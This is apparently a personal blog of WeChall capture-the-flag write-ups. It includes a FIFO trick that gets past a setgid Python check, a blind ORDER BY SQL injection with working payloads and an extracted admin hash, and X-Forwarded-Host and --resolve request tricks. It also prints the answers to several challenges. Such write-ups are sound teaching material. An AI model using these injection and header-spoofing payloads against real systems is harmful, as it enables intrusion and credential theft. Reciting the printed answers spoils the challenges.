Hello Navi

Tech, Security & Personal Notes

Challenge

Py-Tong is a Warchall-backed Python exploitation challenge. The WeChall page exposes the Python source, but the real solution is printed only by the pytong wrapper binary on the Warchall SSH box, because the wrapper sets the effective group needed to read the solution file.

Source

Live source fetch from index.php?highlight=christmas shows the essential logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
SOLUTION = '/home/level/12_pytong/pytong_solution.php'

def main(filepath):
if any(ipattern in filepath for ipattern in ('proc', 'uptime', 'tmp', 'random', 'full', 'zero', 'null')):
raise ValueError('nononono: hacking is not allowed')

if not os.path.exists(filepath):
raise ValueError('sorry file "%s" does not exists' % filepath)

with open(filepath) as gizmore:
jjk = gizmore.read()

if not os.path.exists(filepath):
print('You are l33t')
return True
else:
with open(filepath) as spaceone:
kwisatz = spaceone.read()

if jjk != kwisatz:
print('You are a winner')
return True

raise ValueError('fail...')

If main() returns True, the wrapper reads and prints the solution file.

The wrapper binary (wrap.c) sets real UID/GID to effective UID/GID (setgid bit on the binary grants group level12 read access to the solution file):

1
2
3
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execle(PYTHON, PYTHON, CHALLENGE, argv[1], (char *)0, (char *)0);

Solution

The page hints that a race condition works, but is not required. A FIFO (named pipe) is the clean route: it passes os.path.exists(), and each open(...).read() receives different content from a separate writer.

Key pitfall: paths containing tmp, proc, random, full, zero, or null are blocked — do not create the FIFO under /tmp/.

On the Warchall SSH host:

1
2
3
4
5
6
7
8
9
10
$ cd /home/level/12_pytong
$ mkfifo ~/pf
$ (echo aaa > ~/pf && echo bbb > ~/pf) &
$ ./pytong ~/pf
opening /home/user/<username>/pf
closed
You are a winner
<?php
return 'KnowYourFilesChiller';
?>

The first open().read() gets aaa, the second gets bbb, so jjk != kwisatz and the program enters the success branch.

KnowYourFilesChiller

Challenge

SQL injection in an ORDER BY clause. Recover Admin's 32-character uppercase MD5 hash from the users table and submit it as the solution.

Analysis

Live source fetch (index.php?highlight=christmas) confirms the vulnerable view code:

1
2
3
4
5
6
static $whitelist = array(1, 3, 4, 5);
if (!in_array($orderby, $whitelist)) {
return htmlDisplayError('Error 1010101: Not in whitelist.');
}
$orderby = $db->escape($orderby);
$query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";

The bug is the non-strict in_array(). PHP loosely compares strings to numbers, so a value like 3,(SELECT ...)-- passes the whitelist check (converts to integer 3), then reaches SQL as raw ORDER BY expression.

Exposed table schema:

1
2
3
4
5
6
7
8
CREATE TABLE IF NOT EXISTS users(
username VARCHAR(32) CHARACTER SET ascii COLLATE ascii_general_ci,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin,
apples INT(10) UNSIGNED DEFAULT 0,
bananas INT(10) UNSIGNED DEFAULT 0,
cherries INT(10) UNSIGNED DEFAULT 0,
PRIMARY KEY(username)
);

Solution

Attempt 1: Scalar subquery (fails)

The initial approach used a scalar subquery in ORDER BY to compare one character at a time:

1
2
3,(SELECT IF(SUBSTRING(`password`,N,1)=CHAR(X),0,1)
FROM users WHERE username=0x41646d696e)--

This does NOT work because MySQL evaluates scalar subqueries in ORDER BY as constants — the same value for all rows. Both SELECT 0 and SELECT 1 produce identical sort orders, so Admin's position never changes. Live diagnostic confirmed: both left Admin at position 12.

Attempt 2: Per-row conditional (works)

The key insight: column references and expressions in ORDER BY ARE evaluated per-row. The password column is directly accessible without a subquery:

1
3,IF(username=0x41646d696e AND ASCII(SUBSTRING(password,N,1))=X,0,1)--

How it works: - username=0x41646d696e (hex for "Admin") identifies Admin's row - ASCII(SUBSTRING(password,N,1))=X checks the N-th character - AND combines: only Admin's row with matching character gets IF=0 - All other rows get IF=1 - With ORDER BY 3, IF(...), Admin moves from position 13 → 10 when the condition is true

The -- comments out DESC LIMIT 10, returning all rows sorted by the injected expression.

Extraction

Binary search on hex character ASCII values (0-9: 48-57, A-F: 65-70) using >= comparisons, with equality verification per position. About 5 requests per character × 32 positions ≈ 160 requests total.

Result: 3C3CBEB0C8ADC66F2922C65E7784BE14

Why scalar subqueries fail in ORDER BY

In MySQL, ORDER BY evaluates expressions per row, but scalar subqueries are evaluated once and treated as constants. This is a common pitfall: (SELECT ...) in ORDER BY looks like it should work per-row, but the optimizer collapses it. Direct column references and non-subquery expressions (IF(condition, value1, value2)) are the correct path.

Useful observations

  • $db->escape() does NOT strip parentheses — function calls and subqueries work fine
  • in_array() non-strict check: 3,anything passes because PHP converts "3,anything" to integer 3
  • Hex encoding (0x41646d696e) bypasses any single-quote escaping in $db->escape()
  • Backticks around `password` are needed in subquery contexts (to avoid collision with MySQL's PASSWORD() function) but not in direct expressions like SUBSTRING(password,N,1)
  • Admin's default position is 9 (sorted by apples DESC) or 13 (sorted by apples ASC)
  • WeChall rate limits aggressively after ~80 rapid requests — use 1.0-1.2s delays
3C3CBEB0C8ADC66F2922C65E7784BE14

Challenge

Checksums 不是文件 MD5/SHA 题,而是 GAN(gizmore article number)校验位题。页面提供 gan.frm.htm,其中泄露了校验算法。

Solution

gan.frm.htm 中的核心逻辑:

1
2
3
4
5
6
$poly = [1, 5, 13, 31, 131, 131, 137, 7, 43, 1];
$sum = 1;
for ($i = 0; $i < 8; $i++) {
$sum = $sum * $poly[$i] + $digit[$i];
}
$check = $sum % 10;

前 8 位是数据位,第 9 位必须等于上面计算出的 check

以默认值 12345678 为例:

1
2
3
4
5
6
poly = [1, 5, 13, 31, 131, 131, 137, 7, 43, 1]
digits = [1,2,3,4,5,6,7,8]
s = 1
for i, d in enumerate(digits):
s = s * poly[i] + d
print(s % 10) # => 3

所以合法 GAN 是 123456783,页面格式化显示为:

123-456-783

Challenge

CGX#16: Big Endian 给出一个随机生成并绑定当前 session 的 bit stream,例如:

1
001100101100101001110010001000101110001000110010010000100110001010100010101100100010001010000010

Solution

Recon: bit stream 长 96 bit,96 % 8 == 0,显然是 8-bit bytes。但直接按普通二进制(MSB-first)解码得到乱码。题名 "Big Endian" 暗示不是普通的字节序问题——这里不是多字节整数的 byte order,而是每个字节内部的 bit 权重反着读:最左 bit 是 LSB,最右 bit 是 MSB。

以第一个字节 00110010 为例,按本题权重计算:

1
0×1 + 0×2 + 1×4 + 1×8 + 0×16 + 0×32 + 1×64 + 0×128 = 76 = 'L'

等价做法是先反转每个字节内部的 bit,再按普通二进制解释:

1
00110010 -> 01001100 -> 76 -> L

Python:

1
2
3
4
bits = '001100101100101001110010001000101110001000110010010000100110001010100010101100100010001010000010'
assert len(bits) % 8 == 0
answer = ''.join(chr(int(bits[i:i+8][::-1], 2)) for i in range(0, len(bits), 8))
print(answer)

本地验证示例输出为:

1
LSNDGLBFEMDA

只反转每个字节内部的 bit,不要反转字节顺序。实际提交前要解自己页面当前 session 的 bit stream。

session-bound: reverse bits per byte, answer varies

Challenge

Hello hacker, In this challenge you will find a little form, but where does it sends it's data too?! Good Luck!

  • gizmore

页面上只有一个小表单。题目问的是:这个表单到底把数据提交到哪里?

Solution

核心是看 HTML source,而不是看渲染后的表单。表单本身没有明显按钮动作,真正线索在 action

源码里可以看到类似结构:

1
<form action="indice.php" method="post"></form>

因此表单提交目标不是当前题目页,也不是 ?,而是隐藏在 action 属性里的 indice.php

答案就是表单提交到的文件名:

indice.php

Challenge

2021 Christmas Hippety (Stegano, Javascript) -- score: 1

The Easter Bunny is angry, because he hates winter and has to wait so long for easter season and the sun. Can you calm him down? We wish you a merry Christmas 2021!

Solution

Step 1: 查看页面源码

页面描述中 "angry" 是一个可点击链接。HTML 源码揭示了两层意图:

1
2
The <a href="/profile/EasterBunny">Easter Bunny</a> is
<a href="hoppety.php" onclick="this.href='hop.php'">angry</a>
  • href 原本指向 hoppety.php
  • onclick 在点击瞬间将目标改为 hop.php,隐藏了真实路径

Step 2: 直接访问 hoppety.php

绕过 JS 拦截,直接请求 hoppety.php

1
$ curl -s https://www.wechall.net/en/challenge/christmas2021/hippety/hoppety.php

返回的 301 页面中,响应体包含明文密码,同时还有另一层 JS 重定向阻止普通访问:

1
2
<head><script>window.location.replace('hop.php');</script></head>
<body>HippetyHoppetyConfusion</body>

这就是 Stegano 标签的含义:信息隐藏在页面响应体中,不被用户直接看到。而 Javascript 标签则对应了两层误导机制(onclick 改 href + window.location.replace 自动跳转)。

hop.php 最终只展示一个困惑兔子的 GIF 动画——它是纯粹的诱饵。

Step 3: 提交答案

HippetyHoppetyConfusion

Challenge

CGX#15: Still Binary 考察 7-bit ASCII。题目页面给出一个随机生成并绑定当前 session 的 bit stream,例如:

1
101000010100111001100100001010000011001001100010110000111010010100010110000101010000

每个 session 的 bit stream 不同,不能把示例解码结果当成固定答案。

Solution

Recon: 观察 bit stream 长度。示例 84 bit,尝试 8-bit 分组:84 % 8 = 4(不整除)。尝试 7-bit 分组:84 % 7 = 0 → 长度能被 7 整除。早期 ASCII 只定义 0-127,每个字符只需要 7 bit;第 8 bit 在一些通信场景中可作为 parity bit。因此本题不是 8-bit byte stream,而是连续的 7-bit ASCII stream。

解法步骤

  1. 从页面抓取当前 session 的 bit stream(curl 或浏览器查看源代码)
  2. 检查 len(bits) % 7 == 0
  3. 每 7 bit 一组,按普通二进制 MSB→LSB 转 ASCII
  4. 提交解码后的文本

Python:

1
2
3
4
bits = '101000010100111001100100001010000011001001100010110000111010010100010110000101010000'
assert len(bits) % 7 == 0
answer = ''.join(chr(int(bits[i:i+7], 2)) for i in range(0, len(bits), 7))
print(answer)

本地验证示例输出为:

1
PSLBAIECREBP

实际提交前要重新抓取当前 WeChall 页面并解码。

session-bound: 7-bit ASCII decode, answer varies per session

Challenge

As an easter present i have coded up a new feature. Your mission is to find the 9 eastereggs on the map which were hid by the EasterBunny.

WeChall 有一个 Hackerspace 地图功能(Google Maps),用户可以在地图上放置标记点。需要找到 EasterBunny 用户隐藏的 9 个彩蛋。

Solution

WeChall 的地图数据通过 POI API 端点暴露。直接查询全球范围的 bounding box:

1
2
$ curl -sL -b 'WC=...' \
'https://www.wechall.net/en/index.php?mo=Profile&me=POIS&minlat=-90&maxlat=90&minlon=-180&maxlon=180'

返回所有用户的 POI 数据。过滤 EasterBunny(uid 11212)的标记,得到 9 个彩蛋:

  • acknowledge — 韩国 (35.68, 127.90)
  • beauty — 复活节岛 (-27.12, -109.28)
  • charming — 巨石阵 (51.17, -1.82)
  • depth — 太平洋 (15.70, -141.62)
  • elegance — 日本 (34.52, 136.36)
  • fantasy — 南大西洋 (-52.65, 33.71)
  • guidance — 瑞典 (57.71, 11.99)
  • hackerspace — 德国 (51.73, 10.26)
  • inspiration — 埃及/吉萨 (29.97, 31.13)

答案按字母顺序排列,逗号分隔。

acknowledge,beauty,charming,depth,elegance,fantasy,guidance,hackerspace,inspiration

Challenge

题目要求访问:

1
https://make.love.not.war.com/challenge/training/net/nodns/etc/hosts.php

名字叫 No DNS——核心是让请求到达这个域名指向的服务器,而不依赖正常 DNS 流程。域名 make.love.not.war.com 在 WeChall 上是一个虚拟主机,你需要合适的方式把解析指向 WeChall 服务器。

Solution

curl --resolve 最干净:只影响这一条请求,不需要改系统 /etc/hosts

不要在 writeup 中硬编码老 IP。WeChall 的解析 IP 可能变化,运行时动态取当前 IP:

1
IP=$(dig +short www.wechall.net A | head -n1)

然后让 curl 对目标域名使用这个 IP:

1
2
3
4
curl -sk \
--resolve "make.love.not.war.com:443:$IP" \
-b 'WC=...' \
'https://make.love.not.war.com/challenge/training/net/nodns/etc/hosts.php'

参数含义:

  • --resolve HOST:PORT:IP:只为当前 curl 请求手动指定解析结果,不发起 DNS 查询
  • -k:忽略证书校验(证书是 wechall.net 签发的,域名不匹配)
  • -b 'WC=...':携带 WeChall 登录 cookie

等价方法是临时写 /etc/hosts,但这会修改系统状态,完成后需要恢复;优先用 --resolve

--resolve 在各协议层的影响:

直接连 IP --resolve
DNS 不查 不查(被 curl 的映射表劫持)
TCP 目标 你给的 IP 你给的 IP
TLS SNI IP(或无) 原始域名
HTTP Host IP 原始域名

--resolve 只劫持了 DNS 解析入口——修改的是 curl 进程自己的 DNS 缓存表,不是内核协议栈。TCP 层的目标 IP 跟着你的指定走了,但上层的 TLS SNI 和 HTTP Host header 都保持原始域名不变。这正是"No DNS"的精髓:不在 DNS 层面做任何事(域名不存在),但让上层协议以为请求经过了正常解析。

访问成功后页面会返回成功消息,挑战自动标记为 solved。

Challenge

HTTP Host header 攻击。需要利用 Host 头操纵来触发服务器端的虚拟主机访问或密码重置逻辑。

Solution

目标 URL 是 /en/challenge/space/host_me/index.php

普通的 Host 头修改不够——服务器或反向代理通过 X-Forwarded-Host 头来决定实际路由的目标虚拟主机。发送 X-Forwarded-Host: localhost 头部,使服务器认为请求目标是本地服务,从而触发解题条件。

1
2
3
$ curl -b 'WC=...' \
-H 'X-Forwarded-Host: localhost' \
'https://www.wechall.net/en/challenge/space/host_me/index.php'

注意 X-Forwarded-Host 不是 --resolve(那是 DNS 解析层面),这里的攻击点位于 HTTP 代理层对上游 Host 的信任。

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE